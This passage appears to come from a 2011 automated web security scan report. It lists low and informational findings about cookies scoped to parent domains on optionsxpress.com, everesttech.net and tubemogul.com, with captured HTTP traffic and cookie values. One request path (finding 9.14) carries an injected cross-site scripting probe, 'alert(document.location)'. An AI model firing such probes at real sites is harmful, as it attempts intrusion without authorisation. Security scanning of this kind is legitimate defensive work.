By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.

9.1. http://pixel.everesttech.net/2164/cq previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://pixel.everesttech.net
Path:	/2164/cq

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

everest_session_v2=CeBOaRZ1-iwAAIdj; path=/; domain=.everesttech.net
everest_g_v2=g_surferid~zqROZUBXyFQAAIdR; path=/; domain=.everesttech.net; expires=Fri, 13-Sep-2030 06:04:37 GMT

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /2164/cq?ev_sid=3&ev_ln=futures%20options&ev_crx=7551788913&ev_mt=b&ev_n=g&ev_ltx=&ev_pl=&url=http%3A//www.optionsxpress.com/promos/experience_an_options_specialist.aspx%3Fintcmp%3Dlp_sales_futures%26cmpid%3Dgsus23305007 HTTP/1.1
Host: pixel.everesttech.net
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=futures+trading
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: everest_g_v2=g_surferid~zqROZUBXyFQAAIdR

Response

HTTP/1.1 302 Found
Date: Thu, 08 Sep 2011 19:24:37 GMT
Server: Apache
Set-Cookie: everest_session_v2=CeBOaRZ1-iwAAIdj; path=/; domain=.everesttech.net
Set-Cookie: everest_g_v2=g_surferid~zqROZUBXyFQAAIdR; path=/; domain=.everesttech.net; expires=Fri, 13-Sep-2030 06:04:37 GMT
P3P: CP="NOI NID DEVa PSAa PSDa OUR IND PUR COM NAV INT DEM"
Cache-Control: no-cache
Location: http://www.optionsxpress.com/promos/experience_an_options_specialist.aspx?intcmp=lp_sales_futures&cmpid=gsus23305007&ef_id=zqROZUBXyFQAAIdR:20110908192437:s
Content-Length: 348
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://www.optionsxpress.com/promos/experience_
...[SNIP]...

9.2. https://account.optionsxpress.com/OpenAccount/Index previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/OpenAccount/Index

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=8BDB9C054DE94B794A725090608A94A2; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

9.3. https://account.optionsxpress.com/OpenAccount/NewAccountAjax/GenericHandler previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/OpenAccount/NewAccountAjax/GenericHandler

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=DAA835CC43F5D88C7C759C8916AE73EE; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

9.4. https://account.optionsxpress.com/OpenAccount/Scripts/nap.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/OpenAccount/Scripts/nap.css

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

TLTHID=0CB5EB094D57EFBDD7F02D873075B0F6; Path=/; Domain=.optionsxpress.com
TLTSID=0CB5EB094D57EFBDD7F02D873075B0F6; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

9.5. https://account.optionsxpress.com/OpenAccount/Scripts/napgeneral.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/OpenAccount/Scripts/napgeneral.js

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

TLTHID=763E378F444B9764FB516DBF60432013; Path=/; Domain=.optionsxpress.com
TLTSID=763E378F444B9764FB516DBF60432013; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

9.6. https://account.optionsxpress.com/OpenAccount/Scripts/naponload.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/OpenAccount/Scripts/naponload.js

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

TLTHID=E9AF2F6144A0120B1C2E90B8BF0628B1; Path=/; Domain=.optionsxpress.com
TLTSID=E9AF2F6144A0120B1C2E90B8BF0628B1; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

9.7. https://account.optionsxpress.com/OpenAccount/Scripts/napvalidate.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/OpenAccount/Scripts/napvalidate.js

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

TLTHID=4489136141A3C546F157268319DC82E2; Path=/; Domain=.optionsxpress.com
TLTSID=4489136141A3C546F157268319DC82E2; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

9.8. https://account.optionsxpress.com/css/oxps.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/css/oxps.css

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

TLTHID=4DCE15C74DC6FFB53C82A6AF748A4ACA; Path=/; Domain=.optionsxpress.com
TLTSID=4DCE15C74DC6FFB53C82A6AF748A4ACA; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

9.9. https://account.optionsxpress.com/favicon.ico previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/favicon.ico

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=F04D32D8484F69A30C544985DCE10F86; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

9.10. https://account.optionsxpress.com/images/btn_next_step.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/btn_next_step.jpg

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=A8232ADF480D39289D31E09763CACF10; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

9.11. https://account.optionsxpress.com/images/icon_arrow.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/icon_arrow.jpg

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

TLTHID=40AC7ADE4E4FC6801AC62196A778AB08; Path=/; Domain=.optionsxpress.com
TLTSID=40AC7ADE4E4FC6801AC62196A778AB08; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

9.12. https://account.optionsxpress.com/images/icons/log_in.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/icons/log_in.gif

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

TLTHID=21EAC738463348E4E7697498E4FA20F5; Path=/; Domain=.optionsxpress.com
TLTSID=21EAC738463348E4E7697498E4FA20F5; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

9.13. https://account.optionsxpress.com/images/logos/firm/newlogo_ox.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/logos/firm/newlogo_ox.gif

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=A07AAAC644F53C5E640E80A0791B83B0; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

9.14. https://account.optionsxpress.com/images/logos/firm/newlogo_oxb5a37alert(document.location)//18aaa9ddc45.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/logos/firm/newlogo_oxb5a37alert(document.location)//18aaa9ddc45.gif

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=67AC9231459F78416C6C118417F2EB5D; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

9.15. https://account.optionsxpress.com/images/minus_new_acct.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/minus_new_acct.gif

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

TLTHID=82FCEE1D43C306252438F6B0E9A0C596; Path=/; Domain=.optionsxpress.com
TLTSID=82FCEE1D43C306252438F6B0E9A0C596; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

9.16. https://account.optionsxpress.com/images/newaccount/account_select1.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/newaccount/account_select1.gif

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

TLTHID=74CA95F24DB951FC9D2261975F73498E; Path=/; Domain=.optionsxpress.com
TLTSID=74CA95F24DB951FC9D2261975F73498E; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

9.17. https://account.optionsxpress.com/images/newaccount/account_select2.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/newaccount/account_select2.gif

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=57018DB34D660B4883F443A4D0B4D349; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

9.18. https://account.optionsxpress.com/images/newaccount/nap_error_icon.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/newaccount/nap_error_icon.png

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=2AB1B991426954C9E6064DB17C6FCAD0; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

9.19. https://account.optionsxpress.com/images/newaccount/nap_tip_icon.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/newaccount/nap_tip_icon.gif

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=991AE206424B97B6F977F9B28BE347B2; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

9.20. https://account.optionsxpress.com/images/openAccount_bottom.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/openAccount_bottom.jpg

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

TLTHID=0E746D3A46A028879E86A893334AE28A; Path=/; Domain=.optionsxpress.com
TLTSID=0E746D3A46A028879E86A893334AE28A; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

9.21. https://account.optionsxpress.com/images/plus_new_acct.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/plus_new_acct.gif

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

TLTHID=D7A2A4EA4D6B84512DA39A9BEE64DA2F; Path=/; Domain=.optionsxpress.com
TLTSID=D7A2A4EA4D6B84512DA39A9BEE64DA2F; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

9.22. https://account.optionsxpress.com/images/rightColumn_divider.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/rightColumn_divider.jpg

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

TLTHID=8FAC75CE47AFCEB5B19049BC92732706; Path=/; Domain=.optionsxpress.com
TLTSID=8FAC75CE47AFCEB5B19049BC92732706; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

9.23. https://account.optionsxpress.com/images/styles/bubble/b.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/styles/bubble/b.gif

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=77A51C33434FCC2754ED389A537B984E; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

9.24. https://account.optionsxpress.com/images/styles/bubble/bl.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/styles/bubble/bl.gif

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=E4CCE9D34E711E38DE7ADA84B79732F8; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

9.25. https://account.optionsxpress.com/images/styles/bubble/br.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/styles/bubble/br.gif

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=956B761F4FA5D2BDCA16DB89838483FB; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

9.26. https://account.optionsxpress.com/images/styles/bubble/l.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/styles/bubble/l.gif

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=66E456154210275BF1AD2294C24E11C3; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

9.27. https://account.optionsxpress.com/images/styles/bubble/r.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/styles/bubble/r.gif

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=4F0588BA4BA85289A097B6894C4CDEEB; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

9.28. https://account.optionsxpress.com/images/styles/bubble/t.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/styles/bubble/t.gif

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=F7D09A6D4566E6FDAE591B92DED017AF; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

9.29. https://account.optionsxpress.com/images/styles/bubble/tl.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/styles/bubble/tl.gif

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=AFEC1DFC41D58A640965F69675769361; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

9.30. https://account.optionsxpress.com/images/styles/bubble/tr.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/styles/bubble/tr.gif

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=9A7796FB49428C50E2B66E9C59EA7A3A; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

9.31. https://account.optionsxpress.com/images/welcome/home/log_out.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/welcome/home/log_out.gif

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=E6E958F44B303A4485671B976182E8E0; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Length: 15335
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: Firm=OX; expires=Fri, 09-Sep-2011 07:25:29 GMT; path=/
Set-Cookie: TLTHID=E6E958F44B303A4485671B976182E8E0; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:25:29 GMT
Vary: Accept-Encoding
Connection: Keep-Alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
   <head>
       <titl
...[SNIP]...

9.32. https://account.optionsxpress.com/images/welcome/home/open_account_4.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/welcome/home/open_account_4.gif

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=CF5297BD4EE7D9842FB52BA82A45D6B5; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

9.33. https://account.optionsxpress.com/inc/general.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/inc/general.js

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=6BF746C24651B1BAD934E8B86A795596; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

9.34. https://account.optionsxpress.com/inc/interface.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/inc/interface.js

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

TLTHID=25FD2BB14273AC991AAA5EABBC316BCE; Path=/; Domain=.optionsxpress.com
TLTSID=25FD2BB14273AC991AAA5EABBC316BCE; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

9.35. https://account.optionsxpress.com/inc/js/plugins/accordion.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/inc/js/plugins/accordion.js

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

TLTHID=23A6073F461FC4644E08578F9A204196; Path=/; Domain=.optionsxpress.com
TLTSID=23A6073F461FC4644E08578F9A204196; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

9.36. https://account.optionsxpress.com/inc/js/plugins/jquery.blockUI.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/inc/js/plugins/jquery.blockUI.js

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

TLTHID=3B138D484BD3DC1EBC2548A8FD6DEEF1; Path=/; Domain=.optionsxpress.com
TLTSID=3B138D484BD3DC1EBC2548A8FD6DEEF1; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

9.37. https://account.optionsxpress.com/inc/newaccount/general.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/inc/newaccount/general.js

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

TLTHID=090C09DA4E6D42932D2F21943A76C7EF; Path=/; Domain=.optionsxpress.com
TLTSID=090C09DA4E6D42932D2F21943A76C7EF; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

9.38. https://account.optionsxpress.com/inc/newaccount/jquer.ui.all.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/inc/newaccount/jquer.ui.all.css

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=DC968495491D236FAF80D1B2AC99C2C7; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Length: 15335
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: Firm=OX; expires=Fri, 09-Sep-2011 07:25:22 GMT; path=/
Set-Cookie: TLTHID=DC968495491D236FAF80D1B2AC99C2C7; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:25:22 GMT
Vary: Accept-Encoding
Connection: Keep-Alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
   <head>
       <titl
...[SNIP]...

9.39. https://account.optionsxpress.com/inc/newaccount/jquery-1.3.2.min.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/inc/newaccount/jquery-1.3.2.min.js

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

TLTHID=0CC03F0C431889309D8520BC90B6D7F4; Path=/; Domain=.optionsxpress.com
TLTSID=0CC03F0C431889309D8520BC90B6D7F4; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

9.40. https://account.optionsxpress.com/inc/newaccount/jquery.autotab.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/inc/newaccount/jquery.autotab.js

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

TLTHID=BFE98F2847714286306A699E393BF382; Path=/; Domain=.optionsxpress.com
TLTSID=BFE98F2847714286306A699E393BF382; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

9.41. https://account.optionsxpress.com/inc/newaccount/jquery.scrollTo-min.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/inc/newaccount/jquery.scrollTo-min.js

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

TLTHID=CAA6523C4506CCBF77FDA49C4F49A484; Path=/; Domain=.optionsxpress.com
TLTSID=CAA6523C4506CCBF77FDA49C4F49A484; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

9.42. https://account.optionsxpress.com/inc/newaccount/styles.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/inc/newaccount/styles.css

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

TLTHID=392D4AC8455569B192DA4CA32E2368FD; Path=/; Domain=.optionsxpress.com
TLTSID=392D4AC8455569B192DA4CA32E2368FD; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

9.43. https://account.optionsxpress.com/inc/s_code.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/inc/s_code.js

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

TLTHID=6A9CD6494BF18A25AD37E2AC6CC8ACAC; Path=/; Domain=.optionsxpress.com
TLTSID=6A9CD6494BF18A25AD37E2AC6CC8ACAC; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

9.44. http://rcv-srv20.inplay.tubemogul.com/StreamReceiver/services previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://rcv-srv20.inplay.tubemogul.com
Path:	/StreamReceiver/services

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

_tmpi=MjAxMTA5MDg_MjotNTY3NTYzMzQyMTY5OTg1NzUxNzozMHwxNDotNTY3NTYzMzQyMTY5OTg1NzUxNzozMA; Domain=.tubemogul.com; Expires=Fri, 07-Sep-2012 19:54:09 GMT; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

POST /StreamReceiver/services HTTP/1.1
Host: rcv-srv20.inplay.tubemogul.com
Proxy-Connection: keep-alive
Referer: http://www.viddler.com/player/cc4ac375/
Content-Length: 1000
Origin: http://ibkb.interactivebrokers.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
content-type: text/xml; charset=utf-8
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _tmid=-5675633421699857517; _tmpd=MjAxMTA5MDg_ODpzZWdtZW50PTAwMCZ6aXA9JmFnZT0mZ2VuZGVyPTozMA

<?xml version="1.0" encoding="utf-8"?><StreamMiner xmlns="http://www.illumenix.com/StreamReceiver/services/schemas" xsi:schemaLocation="http://www.illumenix.com/StreamReceiver/services/schemas streamm
...[SNIP]...

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: _tmpi=MjAxMTA5MDg_MjotNTY3NTYzMzQyMTY5OTg1NzUxNzozMHwxNDotNTY3NTYzMzQyMTY5OTg1NzUxNzozMA; Domain=.tubemogul.com; Expires=Fri, 07-Sep-2012 19:54:09 GMT; Path=/
Content-Type: application/xml
Date: Thu, 08 Sep 2011 19:54:08 GMT
Connection: close
Content-Length: 1334

<?xml version="1.0" encoding="UTF-8" standalone="no"?><StreamMiner xmlns="http://www.illumenix.com/StreamReceiver/services/schemas" version="2"><Response><PlayerUpdateResponse requestStatus="success"/
...[SNIP]...

9.45. http://receive.inplay.tubemogul.com/StreamReceiver/demo previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://receive.inplay.tubemogul.com
Path:	/StreamReceiver/demo

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

_tmpd=MjAxMTA5MDg_ODpzZWdtZW50PTAwMCZ6aXA9JmFnZT0mZ2VuZGVyPTozMA; Domain=.tubemogul.com; Expires=Fri, 07-Sep-2012 19:54:09 GMT; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /StreamReceiver/demo?segment=000&zip=&age=&gender= HTTP/1.1
Host: receive.inplay.tubemogul.com
Proxy-Connection: keep-alive
Referer: http://www.viddler.com/player/cc4ac375/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _tmid=-5675633421699857517

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: _tmpd=MjAxMTA5MDg_ODpzZWdtZW50PTAwMCZ6aXA9JmFnZT0mZ2VuZGVyPTozMA; Domain=.tubemogul.com; Expires=Fri, 07-Sep-2012 19:54:09 GMT; Path=/
P3P: cp="NOI DSP COR LAW PSAo PSDo IVAo IVDo OUR BUS UNI DEM"
host: rcv-srv04
Content-Type: image/gif
Content-Length: 43
Date: Thu, 08 Sep 2011 19:54:08 GMT
Connection: close

GIF89a.............!.......,...........D..;

9.46. http://rtd.tubemogul.com/upi/pid/5w3jqr4k previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://rtd.tubemogul.com
Path:	/upi/pid/5w3jqr4k

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

